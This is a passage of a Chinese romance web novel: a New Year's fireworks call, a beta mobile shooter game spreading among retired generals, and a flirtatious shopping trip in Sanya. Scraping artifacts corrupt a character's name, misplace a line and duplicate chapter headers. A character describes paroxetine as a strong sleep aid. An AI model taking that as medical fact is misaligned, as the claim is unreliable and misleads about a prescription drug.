谢天谢地,这个电话真是太及时了,陈则眠正不知道该说些什么合适。 新年的钟声敲响,漫天烟花在海岸上空绽放。 光芒如瀑布倾泻而下,似繁星坠入海面。 陈则眠没心情欣赏美景,甚至都来不及看给他打电话的人是谁,就匆匆和沈青琬说了再见:“那个,又有人给我打电话了,可能有什么急事,我先挂了,拜拜。” 沈青琬轻轻叹了口气,听起来有些哀婉幽怨。 陈则眠心头一惊,用超绝的手速挂断电话,同时接起另一则通话。 因为过度紧张,他更加像个人机,开口就是:“您好,请问找谁?” 陆灼年顿了顿,声音含笑:“您好,我找陈则眠。” 听到陆灼年的声音,陈则眠整个人无端地平静了下来。 陆灼年甚至还没质问他,他就先埋怨上了陆灼年:“你怎么才给我打?” 陆灼年沉默半秒:“因为现在才0点。” 陈则眠‘哦了一声,放松后背靠在沙发上,望向窗外不断升起的烟花。 仿佛漫天星河流落,盛大的繁华转瞬即逝,此起彼伏,绚烂之中有着说不出的空寂。 不知为何,明明身在热闹之中,陈则眠却忽然有些意兴阑珊。 直到陆灼年的声音在耳边响起:“你刚才在和谁通话?” 陈则眠回过神:“沈青琬。” 陆灼年听到这个名字毫不意外:“刚才听你的声音这么慌,她是跟你说什么了吗?” 陈则眠有点发愁:“还没来得及说,但我怕她说,还好你来电话了,要不然大过年说点什么不该说的,多伤人家的心。” 陆灼年语气听不出情绪,不咸不淡道:“还挺怜香惜玉。” 陈则眠:“陆灼年,你就别开我玩笑了。”陆灼年拒绝道:“很难不开。”陈则眠:“为什么。” 陆灼年说:“因为你真的很好玩。” 陈则眠想不到剧情还没开始就走偏了,脑子一乱嘴就开始放飞,开启了自动攻击一般反驳道:“没你好玩。”陆灼年沉吟道:“是吗?那你什么时候来玩。” “?????” 陈则眠看了眼手机屏幕,开始怀疑对面跟他打电话的不会也是Al吧,怎么也跟人机一样,张嘴就是胡言乱语。 “你是陆灼年本人吗?”陈则眠忍不住问:“不会是自助通话小程序吧。” 陆灼年:“谁都和你一样吗陈则眠?” 陈则眠作贼心虚道:“什么和我一样,我怎么听不懂你在说什么。” 陆灼年说:“你看微信。” 陈则眠打开微信,发现小程序在十点半的时候,就自动给陆灼年发了【晚安】。 Al小程序因不了解华国人有除夕守岁的习俗而惨遭暴露。 陈则眠辩无可辩:“好吧,我承认我用了小程序,那你又怎么证明你是真人?” 陆灼年反问:“你想要我怎么证明?” 陈则眠也不知道,很认真地和陆灼年讨论了一会儿人类该怎么证明自己不是A''。 他前世的工作与互联网息息相关,在人工智能方面也有些见解,原书中陆灼年自己创办的第一家公司就是研究人工智能的,两个人在这方面很聊得来。只是说起这些专业性的东西总归枯燥,尤其是陆灼年讲话语调平和,不疾不徐地娓娓道来,跟听晚间新闻播报似的,听起来特别安心。 陈则眠闭上了眼睛。 陆灼年听出陈则眠呼吸渐沉,略微顿了顿:“困了吗?” “不困,就是有点累了。”陈则眠睁开眼,问陆灼年:“对了,你给我打电话是什么事儿来着?” 陆灼年说:“没什么事。” 陈则眠醒了一点,晃了晃头:"好吧,我还以为你是来送新年祝福的。" 陆灼年语调平淡从容:“不是有人给你送过了吗?” 陈则眠说:“那我给你送一个。” 陆灼年的声音听不出喜怒,只是用陈述的语气说:“不必,你的小程序已经在0点时自动给我发了。” 一想到陆灼年对小程序的事耿耿于怀,陈则眠就忍不住笑了一声。 陆灼年问他:“笑什么?” 陈则眠站起身走进露台,看向遥远的海面:“想不到陆大少日理万机,还对这点小事念念不忘。” 屋外烟花秀还未停止,余晖冷焰与海面连成一片,连绵千里,光华璀璨。 明明灭灭的光落在陈则眠羽睫,晃得他眨了下眼。 陆灼年问陈则眠:“在三亚玩得开心吗?” 陈则眠答了句挺开心,然后摘下一只耳机,抬手伸进风中,给陆灼年听烟花绽放的声音:“听到了吗?我这里有人在放烟花。” 这场烟花从零点开始,放到现在都还没有结束。 海天相映下,方圆数十里都明如白昼。 纷扬四散的光辉无休无止,照亮半个海湾。 陈则眠不禁感叹道:“我看那些流光简直像钞票,''忽 的一下就烧尽了,刚才还听人念叨,说这个规模的烟花秀,至少要一千五百万打底。” 陆灼年问:“好看吗。” 陈则眠回答:“那是非常好看了,我录个小视频给你。”陆灼年看过视频,问:“还不错。”陈则眠又看了会儿烟花,都有点看困了,不自觉跟陆灼年抱怨:“不错是不错,就是不知道什么时候能结束。”陆灼年轻笑一声:“你想什么时候结束。”陈则眠打了个哈欠,想都没想:“最好现在。”话音刚落,整个世界就像按下了暂停键,倏忽安静下来。陈则眠微微一怔,下意识侧头看向窗外。烟花秀停止了。 窗外弦月千里浩荡,清辉照亮万顷空蒙。 最后一朵烟花燃放的余烬还未散去,素白皎洁的月光洒在无垠海面,粼粼波光如银镜落地,炸开万里残晖。 霎时间,海波温柔,天地寂然! 耳机里陆灼年浅浅的呼吸,成为世间唯一声响。 陆灼年的声音比水波温柔。 “陈则眠,祝你新年快乐。” “… "……." “… 52、第52章.. 闻言,陈则眠微微一怔。 他问陆灼年:“烟花你放的?” 陆灼年没有承认也没否认,只是说:“这不重要。” “怎么会不重要呢?”陈则眠理解不了有钱人的想法,有点懊悔地说:“早知道是你放的,我就认真看了。” 陆灼年:“陈则眠,看烟花不是任务。” 陈则眠说:“可是有好多我都没看到,错过了很多精彩瞬间。” “不是你错过了精彩瞬间,”陆灼年声音含着一丝不易察觉的笑意,听起来比海风更温柔:“是它们没有这个荣幸被你看到。” 陈则眠还想说什么,但又觉得错过了就是错过了,再说什么也没用。而且以他对陆灼年的了解,如果自己再多讲两句,没准陆灼年会命令这边的人,再把那些烟花从头放一边。 他真是没想到陆灼年这么雷厉风行,前两天才从游戏里看一场烟花彩蛋,说有时间还他一场烟花秀,今天烟花就来了。 陈则眠没再纠结那些错过的烟花,只是说:“以后别搞这些花里胡哨的了,太贵了,你这一场烟花放掉了我一个游戏,有这闲钱还不如给我呢。”陆灼年状若无意道:“真给了你又不高兴。” 陈则眠:"……" 陆灼年并不是喜欢翻旧账的人,但话既然说到这里,他就顺便提了一下:“给你转护理费那次你生气了,给你转物业费那次,你也生气了。”陈则眠一时竟无言以对,讷讷地支吾了一会儿,实在憋不出什么反驳的话,只能说:“我睡觉了。”陆灼年宽容大量,没有再继续纠结这个问题,温文礼貌地和陈则眠说了晚安。挂断电话以后,陈则眠又刷了会儿手机,发现[三亚海棠湾烟花秀]的词条已经冲上了当地热搜。这不是官方活动,没有提前通知,赶上了看到的算运气好,在社交平台放出视频和动图,没有看到的只能在网上看照片视频,留言表示追悔莫及。这边没有烟花燃放禁令,除夕夜放烟花的地方很多,但规模这么宏大的,海棠湾算是头一份儿了。只是不知为何,开始前没有通知,结束的也莫名其妙。 有知情者透露说:这场烟花之所以如此恢弘,是因为烟花的燃放地点在海上,这是一场名副其实的海上烟花秀,天上海面交相辉映,流光坠落刹那,天地银河都连成了一片,能不绚烂吗?此言一出,网友纷纷感叹真是好大的手笔,放一场烟花还要特意包船到海里去放,难怪在岸边观看的效果那么好。 这位知情者也是只知其然,不知其所以然。 他只知道烟花的燃放距离,是提前精心策划计算好的,却不知道最佳观赏点位,就是某人所住酒店房间前面的那片私人海滩。 这也不能怪他知道的内情太少。 毕竟某人自己都不知道。 过年期间,来三亚度假的旅客很多,正好赶上法定节假日,又是旅游旺季,到哪儿都是人。 假期结束后就好了很多。 初六那天,景区的人就明显见少,初八之后,连酒店的房费都降下来了。 萧可颂就是在初九这天到的三亚。 由于萧名兀打伤了他三叔,现在整个萧家一片混乱,长辈们尚且自顾不暇,当然也无人留心一个小辈溜到哪里玩了。萧母知道儿子要去海南,问他是和谁出去玩,安全不安全,萧可颂的回答使用了春秋笔法,说陆灼年、叶宸他们都会去。 萧母对自家儿子不放心,但听到陆、叶家这两位小公子也在,就没再多问但陆灼年和叶宸,其实并没有和萧可颂一起来。 叶宸家里还有事,最早也要正月十三才能腾出工夫,本来是订的十六,但萧可颂说到了十六没几天就开学了,要他能早来就尽量早来,这才勉强又往前提了三天。陆灼年更忙,但也说尽量十三那天过来。 刘越博是来不成了,他的行程都被父母订满了。 经过和陈则眠三个月的相处,他整个人变化极大,刘家父母看到小儿子懂事了高兴得什么似的,天天带着刘越博拜访各路亲戚世交,恨不能昭告天下他刘家出息了两个好儿子。 如果是之前,刘越博才不管他父母要他见谁,自己该去哪儿去哪儿。 最开始,听到父母把他行程排满了的时候,刘越博还有些生气,但后来转念一想,他为啥要去找陈则眠玩呀,陈则眠只会使唤他,而他爸妈事事顺着他,在家里当小皇帝多快乐。 他竟然还因为不能去三亚而生气,自己真是疯了! 对此,薛铎表示:你这是奴隶当久了,都产生奴性了。 刘越博勃然大怒,气得狂怼薛铎三拳。 薛铎是和萧可颂一起过来的,陈则眠给他俩都订的海景套房。 旺季已经过了,还省了不少钱。 看到海景套房,萧可颂还算满意,矜贵地扬了扬下巴:“终于能住点人住的地儿了,破费了小眠眠。” 薛铎也伸出大拇指,说:“陈少真是大气。” 陈则眠带着闫洛,四个人一起吃了顿海鲜大餐,帝王蟹、波士顿龙虾、象拔蚌、鱼子酱等美食应有尽有。 萧可颂连声称赞说陈则眠总算会享受生活了。 陈则眠表示这都是陆大少的团队安排的,如果是他的话只会带他俩去吃椰子鸡。 萧可颂已经吃上了海鲜大餐,根本不在乎陈则眠怎么说。 薛铎却忍不住问:“那要是陆少来了,你也带他去吃椰子鸡?” 陈则眠下意识说:“那怎么可能。”'' 萧可颂一听这话,嘴里的螃蟹立刻不香了,怪陈则眠现在心里只有陆灼年,都不跟他最好了。 薛铎坐飞机坐得腰酸腿疼,吃完饭就回房躺着了。 萧可颂的精力是个谜,换了泳裤就扎进泳池里,撑着池沿招呼陈则眠也下来。 陈则眠说他不会游泳,萧可颂更是来了兴致,非要教他游。 “我高中时是市游泳队的。” 萧可颂说完,当场展示了一段自由泳。游得果然非常自由,水溅了陈则眠一身。陈则眠面无表情:“你再往我身上溅水,我就往你泳池里尿尿。” 萧可颂大惊失色说:“不要哇,我刚才喝了一口水。”陈则眠拽了浴巾往回走:“你自己游吧,唐老叫我上号打游戏呢。” 萧可颂 蹭’得钻出水面:“谁?”陈则眠说:“唐老,陪唐老打游戏。”陪唐老打游戏这事儿,还得从初二那天说起。过年期间阖家团圆,唐家自然也不例外。 几个孙子孙女都回了老宅,但年轻人有自己的爱好,头两天还陪着唐老聊聊天,后来就各自抱着手机,头也不抬地刷视频、打游戏。唐老问他小孙子在玩什么。 那臭小子竟然说:“哎呀爷爷,不是我不跟你说,是我说了你也不懂。” 唐老当即表示他不仅懂,而且还有一个非常好玩的游戏,可以和孙子们一起玩。 小孙子说:“啥游戏呀?四川麻将还是开心农场?” 唐老把陈则眠给的内测码转发给小孙子,说:“你自己研究去吧。” 小孙子将信将疑,到底不敢怠慢爷爷的命令,就把游戏下载下来敷衍一下。 没想到一进入游戏,他就被优秀的画面和人物模型震撼到了,一局游戏过后,更是完全沉溺于真实刺激的竞技体验之中。 贴身近战拼抢时那种紧迫感,令人肾上腺激素不自觉飙升,还有不知何时降临的轰炸、不断缩小的毒圈、逼近的脚步声、复杂多变的地形环境……每一项都让人惊喜连连。玩着玩着,小孙子身边就围了两个堂哥,问他:“你玩什么呢?我在应用商店里怎么搜不到?” 小孙子说:“内测版本,爷爷给我玩的。” 堂哥挤开小堂弟,把他手机抢过来说:“给我玩一局。” 自此以后,小孙子再也没摸到过自己的手机。 他气呼呼地跟唐老告状,唐老大手一挥,又给了他一个号。 小孙子没有手机用,就拿着唐老的手机玩。 没一会儿,这个手机又被二堂哥给抢走了,小孙子作为全唐家最小的弟弟,生活在食物链底层,敢怒不敢言,只能默默地去找爷爷。 两位堂哥这边,已经发现游戏能联机,在海岛地图里拼抢打起来了。 小孙子躲在唐老书房,用唐老另一个手机继续玩。 唐老看到游戏把小孙子迷的离不开他,不由含笑道:“一共就这三个号,这个可别被抢走了。” 小孙子以为自己躲得足够隐秘,却不知他一上线就被盯上了,但到底没人敢到唐老书房里抢他手机,因此成功玩了一下午。 只是玩熟了以后,再打那些人机就有点不过瘾。 小孙子玩过很多游戏,一看这个游戏的设置就知道不是单机版本,缠着他爷爷要联机版。 唐老也不懂啥是‘单机版’啥是‘联机版′,于是故作深沉,说:“那我给你问问吧。” 小孙子大喜过望,亲了唐老好几口,说:“爷爷你太厉害了,真是个潮老头。” 唐老被孙子哄得找不到北,就给陈则眠致了一电。 陈则眠说:“联机是能连,但现在还在内测,只能联内测号,可能没那么多人。” 要是平时也就罢了,能叫他们游戏工作室的人一起,凑凑也有十几个。 可现在过年,陈则眠也不好意思打扰人家。 唐家最不缺的就是人,唐老说:“你只管把号发来,我来找人。” 陈则眠就发了十个号过去。 这回号够了,不用抢了,唐老的孙子们一人一个号,在玩得津津有味。 唐老亲自上阵,刚开始有些玩不懂。 陈则眠就登上自己的游戏号,和唐老组队带他。 前两局唐老的人物总是落地成盒,只能用第三视角看队友玩,陈则眠会顺便给他讲解规则。 一个小时以后,唐老大概弄懂了规则,戴着老花镜紧盯手机屏幕,捡了把MK.14狙击枪,一枪一个孙子,打得他们落花流水。 陈则眠惊讶道:“唐老真是好枪法。” 唐老对这款游戏的逼真程度赞不绝口:“子弹、瞄准镜、枪口、握把、枪托这些配件 都和实战中相似,而且还有 拟真的后坐力,不同种的枪还不一样,这些细节都做到位了,做得很用心。” 小孙子打不过唐老,很机灵地过来取经:“爷爷,为什么我明明瞄准了,但是打不中头,您就能一枪爆头。” 唐老笑道:“哈哈哈,这叫压枪。” 小孙子不解:“啥叫压枪?” 唐老解释说:“每把枪或多或少都有些后坐力,所以在连射过程中,你需要将枪口的准星向下调整,向下的角度抵消后坐力产生的准星上浮,射击效果才能精准。”小孙子试了几次,找不到手感:“这个好难,爷爷你怎么一下就会了。” 堂哥抬眸瞥了他一眼:“爷爷玩枪的时候,我爸都还没出生,你菜就多练吧。” 小孙子惊讶道:“这么厉害,为什么都没人和我讲过。” 另一位堂哥说他:“怎么没讲过,明明是你自己不认真听。” 小孙子生得晚,他懂事时爷爷就已经退休了,虽然总听人说他爷爷多么多么厉害,但那些‘厉害’都是很虚浮的评价。 直至今日,他才隐约窥见了这位退休司令员曾经峥嵘岁月。 唐老被一众小辈拥簇着崇拜着,仿佛又回到了意气风发的时候,心情一片大好,当即又把游戏推荐给了几个老战友,让老战友也拿去逗孙子。 陈则眠不得已又连夜开了四十个内测号,连自己的游戏号都借出去了,只能登管理员账户玩。 拿到账户以后,五六个退休的军区首长,带领着自家小辈划策设谋、运筹帷幄,在海岛地图里和老战友兵戎相见、斗智斗勇,把极具高度的战略性思维带入了游戏,硬生生把一款射击游戏玩成了军事演习。 如果谁家小辈在海岛中打出愚蠢操作或者落地成盒,则会遭到其他人的耻笑与嘲讽。 [你孙子不行]成为一众老首长之间的流行语。 几个老家伙的好胜心完全不逊当年,甚至有狡诈者为获取胜利,不惜采取代打的方式。 有学生来拜年,东西不要,但人留下,打两局游戏才准走。 那些已经年逾四十、身居高位的长官们,一个个都被扣在老首长家里,拿着手机满头大汗。 老师本人站在身后督战,搜装备时手稍慢一点就会听到一声不满的轻嘶,仿佛梦回刚入职的时候,做什么都是错的。 真是噩梦中的噩梦。 不知哪个孙子研究出的这个游戏献给了老首长,老首长本来是为了拿游戏哄孙子,结果哄着哄着他们却成孙子了。 无妄之灾! 始作俑者陈则眠对此一无所知。 在他的视角里,就是教会了唐老怎么玩以后,唐老偶尔会跟他一起开黑。 他算是唐老战队中的王牌杀手。 游戏本来就是他制作的,各种细节了解得不能再了解,游戏意识更不知道领先其他人多少个版本。 在唐老的指挥下,陈则眠击杀了无数敌人。 陈则眠只知道这些敌人里有唐老的孙子,不知道除此之外,大多是与唐老同级别的大佬,或者是大佬们的学生—都是平时难得一见的权贵人物。 陈则眠半靠在躺椅上,从耳机里听到后面包抄过来的脚步声,回头就是一枪。 嘭!【系统播报:‘不会射击还能干''使用M7.62突击步枪击倒了‘49Qr2hE''】与此同时,某公安局局长默默放下手机,对他老师说:“周老师,我死了,可以走了吗?”“浮躁!太浮躁!”周老精神矍铄,用拐杖狠狠一敲地面:“小孙,不是我说你,你这个浮躁的毛病,真是三十年都改不了!”孙局低头听训,并默默把这串游戏ID记在心里。回去以后,他倒要好好查查,这个[不会射击还能干]到底是谁!陈则眠管理员账户的ID名其实是[不会射击还能干成什么],但在游戏内有字数限制,最多只显示前七个字,就成了[不会射击还能干]。 因为他一般不用管理员账户玩游戏,只是他平常玩游戏的那个号被借出去了,这才只能等管理员账户玩。 游戏还未公测,要查一个内测游戏ID账号并不容易。 尤其是孙局给出的ID名还少了三个字。 甚至连方向也是错的。 “先从干警内部开始查。” 孙局吩咐手下:“那么得唐老器重,又擅长用枪,百分之八十是咱们内部人,好好给我查一查,这个人到底是谁!” 秘书长为难地看了眼孙局:“局长,这不好吧。” 孙局一瞪眼:“怎么不好,只是查咱们内部的工作人员,又没让你去查外人。” 现在网络那么发达,万一那个什么[还能干]的ID被有心之人炒作,不仅影响警察队伍公信力,还会影响那小子前途。 孙局生气归生气,但也有爱才之心,见那人年轻气盛恐埋隐患,这才想把人找出来提点一番。 秘书长不知孙局用心良苦,还斟酌着用词劝道:“同事们工作辛苦,私下里玩玩手机游戏,也没耽误工作,只是取了不太好听游戏ID而已。” “这是不太好听吗?这是太难听了!” 孙局点点纸上的ID名,越说越来气:‘不会射击还能干'',他要干嘛呀,他要干嘛!身为一名人民警察,竟然起这种、这种有歧义的名字,败坏组织形象、生活作风极差,他把纪律和规矩放在眼里了吗?他放在眼里了吗!" 秘书长被孙局长劈头盖脸一顿抢白,心说也不是我会干,骂我干嘛呀,但面上还是带着笑意,连声赞同道:“是是是,还是孙局长思虑周全,考虑到位,您是站在队伍作风建设的角度看待这个问题,他不是一个人的事,这影响了咱们警察队伍的形象,确实要把人找出来,好好批评,好好批评。” 孙局把那张纸递给秘书长:“把他找出来,让他写报告、做检讨,在全市警察大会上检讨!” 可不知为何,自那次之后,[不会射击还能干]这个ID也竟然再也没上过线。 ID不上线,网警就很难实时定位。 孙局见他反侦查能力这么强,越发笃定是他们内部的人,还让秘书长往刑侦那边去查,可以说是越查越偏。 按照这个调查速度,没准要等陈则眠回京市,他们才能摸到些蛛丝马迹。 陈则眠确实有点想回京市了。 倒不是因为他知道有人在查他,而是因为萧名兀也来三亚了。 就在萧可颂到三亚的第二天。 陈则眠有点头痛。 萧俗兀斜倚在陈则眠门口,温声解释:"小陈先生可别多想,我可不是来烦你的。" 萧可颂抱臂瞪着萧名兀:“那、你、来、干、什、么、小、叔!” 萧俗兀笑道:“可颂你第一次自己出远门,大嫂不放心,派我来当监护人,不信你看手机,大嫂在家族群里说了这事儿。” 萧可颂将信将疑:“我怎么没看到?” 萧俗兀云淡风轻:“你是不是又把家族群屏蔽了?” “你没屏蔽吗?”萧可颂打开家族群,拼命上翻,翻了差不多二三十页,才看到他妈果然在群里宣布了这事,当即很抓狂地说:“什么叫我第一次自己出门啊,我之前没出过吗?" 萧侣兀似笑非笑:“以前你出远门,不是都有叶家那小子跟着吗。” 萧可颂梗了梗:“也不是每次都和叶宸一起啊!” 萧侣兀说:“就算没有叶家那小子,也会有陆大少同行,陆家人走到哪里都声势浩大,稍微人多一点的地方都会提前清场排查,自然不用担心你的安危。” 陈则眠:"……" 萧可颂无话可说。众所周知,三个人里面两个人都很靠谱,唯—一个不靠谱的正是他本人。所以小时候每次出去玩,他都得刷叶宸或陆灼年的信用卡,这俩人里只要有一个,家里才放心他出去玩,能很痛快地放行。萧可颂不满地嘀嘀咕咕:“陆灼年他们过两天就来了,再说我都这么大了,一个人出门怎么了。” 薛铎默默道:“我不是人吗?” 0人在意薛铎是不是人。 萧侈兀含笑看了陈则眠一眼,意有所指:“原来陆少他们过两天就来了,那我可得抓点紧了。” 萧可颂伸手挡住萧名兀的视线:“你要抓紧什么!” 萧名兀漫不经意地收回目光:“当然是抓紧时间在三亚好好玩玩,不然你以为是抓紧什么?” 萧可颂说也说不过萧名兀,还被辈分压着,气得又要炸毛。 今天的安排本来是去蜈支洲岛浮潜,但萧可颂防萧名兀就像防贼,坚决反对陈则眠在萧名兀面前,脱下除防晒服外的任何一件衣服。萧可颂在陈则眠耳边小声说:“我小叔很变态的,我和叶宸去看表演那个地方就是他推荐的。” 陈则眠:“……” 萧名兀的听力也是一绝,这么小声地耳语都被他听到了:“大侄子,这光天化日的,我就是再变态难道还能当众做什么不成。”萧可颂说人坏话被抓,尴尬地清了清嗓,拿出手机装模作样查攻略。萧名兀不远不近地走在陈则眠另一边,彬彬有礼地保持了合适的距离:“小陈先生,真的是我大嫂不放心可颂,派我过来跟着的。”陈则眠点点头,客气道:“这我相信,萧总,您到哪里是您的自由,不用和我解释。” 萧名兀微微勾起唇角:“慈善晚宴那天,我刚和家里人吵了架,心情不大好,说话才失了分寸,实在唐突了。” 因为一点小事,萧名兀三番四次地道了歉,姿态放得又低,再说他人已经到了三亚,又是带着‘长辈′的任务来的,陈则眠也没理由把人赶走。 萧名兀看出陈则眠的松动,乘胜追击道:“如果小陈先生觉得 和我在一起待着不自在,我可以单独行动,或者回酒店等你们也行。有你在,我相信你们不会玩什么危险的活动,家里放心不下可颂,你也知道他多能玩。” 陈则眠一听,也觉得萧名兀说的有理。 萧可颂玩起什么来都惊天动地,要是上了头非要玩些什么不该玩的,光他自己一个人还真不一定能管得住萧可颂。 陈则眠微微颔首,和萧名兀言和道:“过去的事萧总不用放在心上,既然都来了,就一起玩吧。” 萧可颂看到陈则眠都同意了,也只得低头认命。 被监护就被监护吧。 他可不敢违抗母亲大人的命令。 萧可颂眼珠一转就是一个坏主意,直接把今天的行程定在了购物中心,心说小叔既然您都来了,就花点钱再走吧。 进了奢侈品点,他跟进货一样,直接让销售把当季新品全拿出来,不断在试衣间进进出出。 陈则眠给闫洛挑了两件衣服,然后就和薛铎三个人坐在沙发上,喝饮料吃水果。 萧名兀随便看了看,买了条腰带给陈则眠。 陈则眠叼着哈密瓜抬起头:“给我?” 萧名兀微微颔首:“你这条裤子应该配个腰带。” 陈则眠说:“系腰带很麻烦。” 萧名兀倾身到陈则眠耳边,低声说:“你腰细,不系腰带的话,一躬身就露出好大一截腰。” 陈则眠手摸向后腰,躬身试了试,确实是有点露腰,但也没有到‘好大一截 的程度,就不是很在意地摆摆手:“没关系,露就露呗。” 萧侈兀轻笑一声:“小陈先生,我也没有那么正人君子。” 薛铎有点受不了了,拽着闫洛坐在了另一边的沙发上。 闫洛整个人游离在事件之外,不明所以地歪了歪头。 陈则眠看见薛铎的反应,才明白过来这可能是一句调情的话,挠了挠下巴问:“啥意思啊?” 萧名兀狐狸眼中含着笑,又狡黠又漂亮:“我会忍不住看。” 陈则眠眼神澄澈,靠回沙发上玩手机:“看呗。” 萧名兀:“……” 陈则眠手机屏幕上,是陆灼年刚给他发的微信消息。 前一条消息是陈则眠发出的。 小程序检测到机主在购物中心停留超过半小时,自动把机主当前位置发给了陆灼年。 【陈则眠:(定位)三亚XX购物中心】 【陆灼年:没去浮潜?】 【陈则眠:萧名兀来了。】 陆灼年那边像是在忙,过了一会儿才回了一句【少和他玩。】 【陈则眠:没玩,萧少带他来购物了。】 两个人闲聊的工夫,萧可颂已经选好了要买的东西,萧伯兀负责签单,留了萧宅的地址,然后继续转战下一家奢侈品店。一上午很快过去,中午五人一起吃了饭。吃完饭,陈则眠有点犯困,就回酒店睡觉了。 萧名兀履行了一名监护人的职责,没有跟回酒店,而是陪着萧可颂逛完了剩下的奢侈品店。 陈则眠回酒店睡了一觉,又陪唐老和他孙子打了几局游戏。 他游戏打得好,大家都爱找他组队,虽然陈则眠不认识对面是谁,但微信好友倒是加了一大串,有几个头像是山水的,约莫着应该是唐老的战友,剩下的什么卡通头像、照片头像之类的应该都是同辈。 陆灼年见陈则眠的定位又停在了酒店,知道他多半回去睡觉了,也没有打扰,等忙完自己的事,恰好看到陈则眠游戏账号刚好在线,就也登上了游戏。 【您的好友''lulululu''在线中】 陈则眠看到陆灼年上线,随手就邀请了他加入队伍。 也不知是回唐霄翼那句‘你们可真铁’,还是回陈则眠这句‘有人''。 作者有话说口显示所有文的作话 第52章第52章 【"ulululu’进入房间】 陈则眠给陆灼年的内测号能保留游戏数据,和后来开的四十个临时号不一样,为了更好区分,陈则眠存ID时直接打了一串 陆。内测期间游戏ID无法更改,陈则眠的管理员账户还顶着个‘不会射击还能干’的ID,相较之下,陆灼年这个lulululu''也不太奇怪。陈则眠也觉得那个ID丢脸,和陆灼年玩的时候都会用别的号,他一般不会登还会干I那个号,只有把号都借出去、自己没号可用的时候才会用。陆灼年进了队内语音。 队伍里一共四个人。 除了陈则眠,还有唐老和他的小孙子唐霄翼。 自从唐老加入这个游戏,最高兴的人莫属唐霄翼,家里本来十分反对他玩手机游戏,虽然管不住他玩,但每次他爸看到都会说他两句,而今陪着爷爷玩也算是奉了明旨,连他爸都没有插嘴的余地。 至于开发了这个游戏的陈则眠,对唐霄翼而言简直是神!能开发出这么牛逼游戏,玩得那么好。 唐霄翼佩服得五体投地,平常都叫陈则眠‘眠神''。 队伍里进了新人,唐霄翼看到是陈则眠拉进来的,就问:“眠神,这是谁啊?” 耳机里,陈则眠隐约听到陆灼年笑了一声,但又不太确定。 “我朋友,”陈则眠介绍道:“姓陆。”唐老一听就知道是谁了:“小陆啊。”陆灼年礼貌问好:“唐老,过年好。” 唐霄翼性格活泼跳脱,快人快语:“爷爷你认识啊,这也是你朋友吗?那我怎么称呼合适?” 也不怪唐霄翼有此一问。 这段时间玩过这个游戏的人贯穿祖孙三代,有同辈,有叔叔辈的,还有爷爷辈的,游戏里只能听见语音看不到真人,他有时候也不知该叫什么合适。 唐老进入海岛地图后全神贯注,专心搜索装备,对孙子爱答不理,敷衍地 嗯 了一声,都没搭理他说的是什么,反而招呼陈则眠说:“小陈来,小陈来,这儿有好枪。”陈则眠一边操纵游戏人物往标记地点走,一边跟唐霄翼说:“叫哥就行……是吧陆少,我也不知道你们辈分怎么论的。” 唐霄翼非常机灵,听到陈则眠叫这人 陆少'',一下子就猜到了这人身份贵重。 就算不是京市里那个赫赫有名的陆家,也低不到哪儿去。 他叫陈则眠‘眠神”,陈则眠叫那个人 陆少,这两个称呼摆在这儿,他要是再叫 陆哥 就不合适了,不仅显得那个人比陈则眠低了一档,也显得他跟那个人生分。唐雯翟犹豫的这会儿工夫,正好屏幕上传来击杀公告 【系统播报:''lulululu''使用VICTOR冲锋枪击倒了''NCAS44D''】 唐霄翼正好说:“哇塞,眠神,你这朋友也是个大神啊。” 陈则眠应了一声:“他玩枪很厉害的。” 唐霄翼问:“也在京市吗?” 陈则眠:“对。” 唐霄翼几乎锁定这位 陆少’的身份了,当即说:“太巧了,我也在京市,改天一起玩呀陆神。” 听到唐霄翼叫陆灼年 陆神’,陈则眠没忍住笑了一下。 陆灼年听到陈则眠这声轻笑,抬手按了下耳机,喉咙莫名有些干,沉默了两秒才跟唐霄翼说:“你直接找陈则眠就行,他能约我出来。” 闻言,唐霄翼吹了一声口哨:“哇哦,你们可真铁,比我跟我堂哥都亲。” 游戏内,陆灼年操纵的人物走在陈则眠身后,余光里看到对面楼上,似乎有个人影一闪而过。 他换了把枪,举枪打开八倍镜看一眼。对面楼上的人果然在瞄陈则眠。 陆灼年举枪瞄了大约五秒,找准机会开枪,嘭 地狙掉对面窗口里晃动的人影。 人影应声倒地。 虽然位置不好补枪把人打掉,但那个人也没威胁了。 陈则眠的声音从耳机里传来:“有人?” 陆灼年嗯了一声。 53、第53章... 十五分钟后,游戏结束。 他们团队成功吃鸡,唐霄翼虽然半路就成盒了,但躺赢躺得也很爽。 陈则眠问:“还玩吗?” 唐老叹了口气:“哎,眼睛疼了,不玩了。” 唐霄翼表示:“玩玩玩玩。” 唐老说:“你写作业去吧,你爸刚才过来转好几圈了。” 唐霄翼失望地‘啊’了一声:“我下了,眠神、陆神再见。” 两位队友接连下线,队伍里只剩下陈则眠和陆灼年。 出了游戏,陈则眠调低了耳机音量,问陆灼年:“你还玩吗?” 陆灼年若有所思:"最近游戏里真人多了,还有不少高手。" 陈则眠笑了笑:“都是唐老找来的,他还挺喜欢玩这个游戏的。” 陆灼年这才想起来似的说:“对了,游戏版号送审的材料我提交了。” 陈则眠本来靠在枕头上半躺着玩游戏,听到这话直接坐了起来:“提交了?” 陆灼年用很平常的语气说:“过年在家没什么事,顺手把材料理出来了。” 寻常人家过年都有许多亲戚好友需要拜访,更何况陆家这样的豪门世家,如果真的[没事],叶宸和陆灼年怎么可能不和萧可颂一起来,反而分两批走呢?陆灼年整理那些材料肯定是用了私人时间,大概率还是晚上夜深人静的时候。 陈则眠眉梢微微蹙起,语气难掩关心:“那些东西不急的,你何必熬夜弄它。” 陆灼年唇角勾起道不太明显的弧度:“没事,本来就睡不着。” 陈则眠声音低了一些,问:“吃药了吗?” 陆灼年抿了下唇:“没有。” 他已经习惯了克制自己的病症。 况且陈则眠不在,他也不再需要大量服药,只偶尔吃一颗作为辅助治疗就足够了。 “实在睡不着的时候也会吃一粒。”陆灼年补充道。 听到这话,陈则眠也是喜忧参半。 帕罗西汀药效强烈,吃完助眠效果明显,可是副作用也大,陈则眠吃完以后的反应是心慌手抖、情绪低落,虽然不知道陆灼年服药完后产生的副作用是什么,但想必也好不到哪里去。 陈则眠忧心忡忡:“还是要保障睡眠,人不睡觉很容易猝死的。” 陆灼年轻笑:“你有好好睡吗?” 陈则眠说:“当然有,我每天都在睡觉,三亚的气候特别宜居,我来这边之后都不咳嗽了,空气含氧量高,晚上睡得也香。” 陆灼年沉吟道:“也许我去了三亚就能睡着了。” 陈则眠对此表示认同:“没准,这里晚上气温20°左右,小凉风嗖嗖吹进房间里,耳边听着海浪声,很容易就困了。” 陆灼年问:“要是还睡不着怎么办。” 